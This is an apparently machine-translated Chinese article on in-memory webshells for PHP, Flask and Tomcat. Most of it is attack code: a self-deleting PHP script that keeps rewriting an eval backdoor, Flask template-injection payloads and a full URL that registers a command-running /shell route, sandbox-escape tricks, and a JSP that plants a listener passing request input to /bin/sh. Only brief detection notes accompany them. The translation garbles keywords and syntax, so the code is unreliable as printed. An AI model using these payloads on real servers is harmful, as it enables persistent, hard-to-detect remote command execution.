Webshell 内存马分析
内存Webshell比传统的Webshells更容易避免通过传统的安全监控设备检测。它通常用于持续,逃避检测并连续驻留在目标服务器上。大多数攻击者也支持基于内存的攻击,例如无文件攻击,内存网络壳和过程注入。1 PHP 内存马
1.1 原理
PHP记忆马是,php不朽的马要启动不朽的马并删除自身,并在内存中执行死循环,以便管理员无法删除Trojan文件。1
2
3
4
5
6
7
8
9
10
php
set_time_limit(0);
ignore_user_abort(1);
UNLINK(文件);
而(1){
$ content='?php @eval($ _ post ['zzz'])?';
file_put_contents('config.php',$ content);
usleep(10000);
}
?
ignore_user_abort:函数设置与客户端的断开连接是否将终止脚本的执行。如果设置为TRUE,则将忽略与用户的断开连接。
set_time_limit:设置允许在秒内运行脚本的时间。如果设置为0(零),则没有时间限制。
1.2 检测
检查所有PHP流程处理请求的持续时间检测执行文件是否真正存在于文件系统中
2 Python 内存马
2.1 原理
Python记忆马在烧瓶框架中使用SSTI注入实施。在烧瓶框架中,Render_template_string()用于在Web应用程序模板渲染过程中渲染,但是用户传输的代码未过滤,因此用户可以注入恶意代码来实现Python Memory Morse的注射。在Icehexman Github研究了烧瓶框架下的记忆马。
2.1.1 flask route
模拟tomcat注册路由机制,例如过滤器。如果要实现Python内存马,则还应研究烧瓶是否可以动态注册。注册瓶的一般方法是使用Decorator @App.Route()。实际的工作函数是Decorator self.add_url_rule()中调用的方法。

add_url_rule需要三个参数:
URL:就像Decorator App.Route()的第一个参数一样,它必须以/开始。
端点:使用url_for()跳转时,传递的第一个参数是此端点的相应值。也可以未指定此值,默认值是函数名称。
view_func:只需编写方法名称(也可以是匿名参数)。如果使用方法名称,请勿添加括号。添加括号以指示函数的返回值传递给view_func参数。
2.1.2 flask context
如果要实现内存网络壳,则关键点是view_func。 view_func可以使用匿名函数定义逻辑,即捕获参数值,执行命令和响应。烧瓶的工作原理:当请求进入烧瓶时,请求上下文将首先实例化。此上下文将请求的信息封装在请求中,并将此上下文放入堆栈_request_ctx_stack的结构中,也就是说,获得当前请求上下文等于获得_request_ctx_stack _request_request_ctx_ctx_stack.top。
2.1.3 flask 内置函数
可以通过{{.}}执行表达式,但是名称空间有限,没有内置的词,因此无法使用eval和pop之类的函数。但是,您可以通过任何功能的func_globals获得其命名空间并获得内置。烧瓶具有两个内置函数url_for和get_flashed_messages。也就是说,要构建命令执行,您可以使用:
1
2
3
{{url_for .__ globals __ ['__ _______'] .导入('os')。系统('ls')}}}
{{url_for .__ globals __ ['__ nideins '] ['eval'](' import __('os')。popen('whoami')。read()}}}}
2.2 实现
以下演示代码是一个示例:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
从烧瓶进口烧瓶,请求
从烧瓶导入render_template_string
app=烧瓶(名称)
@app.route('/')
def hello_world():
返回“你好世界”
@app.route('/test',方法=['get','post'])
DEF TEST():
模板='''
div类='中心误差'
h1oops!该页面不存在。/H1
H3%S/H3
/div
''%(request.values.get('param'))
返回render_template_string(模板)
如果name=='__ -Main __':
app.run(端口=8000)
拆卸有效载荷:
1
2
3
4
5
6
7
8
9
10
11
12
url_for .__ globals __ ['内置'] ['eval'](
'app.add_url_rule(
'/壳',
'壳',
lambda :__Import __('os')。popen(_request_ctx_stack.top.request.args.get('cmd','whoami'))。
)
',
{
'request_ctx_stack':url_for ._ globals __ ['_ request_ctx_stack'],
'app':ur_for .__ globals __ ['current_app']
}
)
Lambda是一个匿名功能。有效载荷中add_url_rule()函数的第三个参数定义了lambda匿名函数。从Web请求获得的CMD参数值通过OS库的Popen()函数执行,并返回结果,其中参数值默认为Whoami。
eval()方法的语法:
1
eval(表达[,全球[,当地人]])
全球- 可变范围,全局名称空间(如果提供)必须是字典对象。指定全局变量。
最终网址:
1
http://ip3:8000/param?param={{url_for .__ globals __ [%27__ builtins %27] [%27eval%27](%22App.add_ur l_rule(%27/shell%27,%20%27shell%27,%20lambda%20:__IMPORT __(%27OS%27).popen(_request_ctx_stack .top.request.args.get(%27cmd%27,%20%27whoami%27)).read())%22,{%27_request_ctx_stack%27:url_f或. Globals __ [%27_request_ctx_stack%27],%27App%27:UR_FOR .__ GLOBALS __ [%27current_app%27]}}}}}}}

2.2 检测
检查所有内置模块是否包含可以执行代码的评估,EXEC和其他功能,例如:class warnings.catch_warnings,class site.quitter,等等。在self.add_url_rule()(例如shell)中检测具有特殊名称的路由。
2.3 逃逸
以Python沙盒逃生技能为例:url_for可以用get_flashed_messages或request.application.__ self __._ get_data_for_json等代替。
代码执行函数替换,例如EXEC等。以替换评估;
可以将字符串剪接,例如['__ builtins __'] ['eval']将其更改为['__bui'+'ltins __'] ['ev'+'al'];
globals __可以用__getAttribute __(' globa'+'ls__'取代);
[]括号可以由.__ getItem __()或.pop();
…
3 Java 内存马
3.1 简介
Java内存马当前分为两类:servlet-api类型
通过命令执行等动态注册新的侦听器,过滤器或servlet,以实现命令执行和其他功能。特定框架和容器的记忆马的原理是相似的,例如春季的控制器记忆马和Tomcat中的阀门记忆马。
字节码增强
通过Java的仪器动态修改现有代码,然后实现命令执行和其他功能。
3.2 原理
Servlet,Listorer和Filter由Javax.Servlet.ServletContext加载。无论是使用XML配置文件还是注释注释配置,它们都是由Web容器初始化的,读取其中的配置属性,然后在容器中注册。Servlet 3.0 API允许动态注册ServletContext,并在初始化Web容器时动态注册(即创建ServletContext对象时)。不同的容器实现方法略有不同。以下主要以Tomcat为例。
3.2.1 Tomcat
Tomcat主要包括四种类型的容器,引擎,主机,上下文和包装器引擎是外部接口,可以配置多个主机
主机可以包含多个上下文(Web应用程序)
上下文可以包含多个包装纸
每个包装器对应于1个servlet

上下文的相应Web应用程序,每个上下文都有一个唯一的路径。此处的路径没有涉及servlet限制的WebServlet地址,而是指独立的Web应用程序地址。就像Tomat的默认/地址和管理器地址是两个不同的Web应用程序一样,因此,对于两个不同的上下文,要添加上下文,您需要在Server.xml中配置DocBase。
在Web应用程序中,可以配置多个访问路径,例如登录页面,背景管理等。对于在同一上下文中不同的WebServlet地址,将分配不同的包装器。这表明每个上下文都可以对应于多个包装器,每个包装器对应于一个servlet。说明相同的Web应用程序上下文是相同的,但是相应的包装器不同,然后根据不同的Servlet服务显示不同的内容。
技能
想法可以参考:https://blog.csdn.net/gaoqingliang521/article/details/108677301
3.2.2 Listener 内存马
侦听器用于聆听Web应用程序创建,破坏,加法,修改,删除和其他操作中某些对象的发生,然后做出相应的响应。当侦听范围中对象的状态发生变化时,服务器会在侦听器对象中自动调用该方法。它通常用于计算网站上在线的人数,在系统加载时初始化信息,计算网站访问的数量,等等。它主要由三个部分组成:
事件来源:正在听的对象
听众:要聆听的对象,事件源的更改将触发侦听器的响应行为。
响应行为:当事件源的状态更改时,听众执行的动作。
在初始化期间,事件源和侦听器需要受到限制,也就是说,侦听器已注册。请求网站时,该程序首先自动执行侦听器的内容,然后执行过滤器过滤器。如果有多个过滤器,它将形成一个过滤器链。最后一个过滤器将执行Servlet服务方法,即侦听器-Filter -Servlet。
听众是第一个加载的人,因此您可以使用恶意听众的动态注册将其植入记忆马。
听众类别
ServletContext聆听,触发服务器启动和终止时
ServletContextListener:用于聆听整个Servlet上下文(创建,破坏)
ServletContextAttributelistener:收听Servlet上下文属性(添加,删除和修改属性)
会话聆听,创建和破坏会话时触发会触发
javax.servlet.http.httpsessionlistener:聆听会话的整体状态
javax.servlet.http.httpsessionatattributelistener:收听会话属性
请求聆听,每次访问服务时都会触发
ServletRequestListener:收听请求请求(创建,销毁)
ServletRequestAttributelistener:收听请求属性(添加,删除和修改属性)
如果您可以动态地添加侦听器,请求侦听最适合植入记忆马。
ServletRequestListener提供了两种方法:请求Initialized和RequestDestroy。两种方法都将ServletRequestEvent作为参数接收。 ServletContext对象和ServletRequest对象存储在ServletRequestEvent中。因此,在访问请求过程中,可以在创建和破坏请求时实现自己的恶意代码,以完成内存马的实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
%@ page import='org.apache.catalina.core.standardcontext'%
%@ page import='org.apache.catalina.core.applicationcontext'%
%@ page import='java.lang.reflect.field'%
%@ page import='java.util。,javax.crypto。,javax.crypto.spec。*'%
%@ page import='org.apache.jasper.tagplugins.jstl.core.out'%
%@ page import='java.io.ioexception'%
%@ page import='javax.servlet.annotation.webservlet'%
%@ page import='java.io.inputStreamReader'%
%@ page import='java.io.bufferedreader'%
%
object obj=request.getServletContext();
field field=obj.getClass()。getDeclaredField('context');
field.setAccessible(true);
ApplicationContextContext=(ApplicationContext)field.get(obj);
field=applicationContext.getClass()。getDeclaredField('context');
field.setAccessible(true);
standardContext standardContext=(standardContext)field.get(applicationContext);
listich listhh=new listhh(请求,响应);
standardContext.AddapplicationEventListener(listenh);
out.print('test');
%
%!
公共类Listingh实施ServletRequestListener {
公共servletresponse响应;
公共ServletRequest请求;
听(ServletRequest请求,ServletResponse响应){
this.request=请求;
this.response=响应;
}
public void requestDestroyed(servletrequestevent servletrequestevent){
}
公共void requestInitialized(ServletRequestevent ServletRequestevent){
字符串cmder=request.getParameter('cmd');
字符串[] cmd=new String [] {'/bin/sh','-c',cmder};
尝试{
Process PS=Runtime.getRuntime()。执行(CMD);
BufferedReader br=new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer SB=new StringBuffer();
字符串线;
while(((line=br.readline())!=null){
//执行结果加返回
sb.append(line).append('br');
}
字符串结果=sb.tostring();
this.response.getWriter()。写(结果);
} catch(异常E){
system.out.println('错误');
}
}
}
%
尝试通过JSP动态添加侦听器。请注意,因为我们直接通过add添加它,因此每次访问JSP页面时,都会重复添加侦听器,从而重复执行恶意有效载荷。成功添加后,访问任何现有页面?cmd=要执行的命令,即使删除了JSP文件,也可以使用它。
3.2.3 Filter 内存马
滤波器称为过滤器,是Java中最常见,最实用的技术之一。它通常用于处理其他功能,例如静态Web资源,访问控制,日志记录和其他功能。请求进入服务器后,用户请求将由过滤器预处理,然后移交给Servlet。待续。
参考
网络进攻和国防技术|记忆马分析什么是记忆马
Tomcat记忆马学习
一篇文章中了解记忆马
Python烧瓶记忆马
关于Tomcat记忆马的初步研究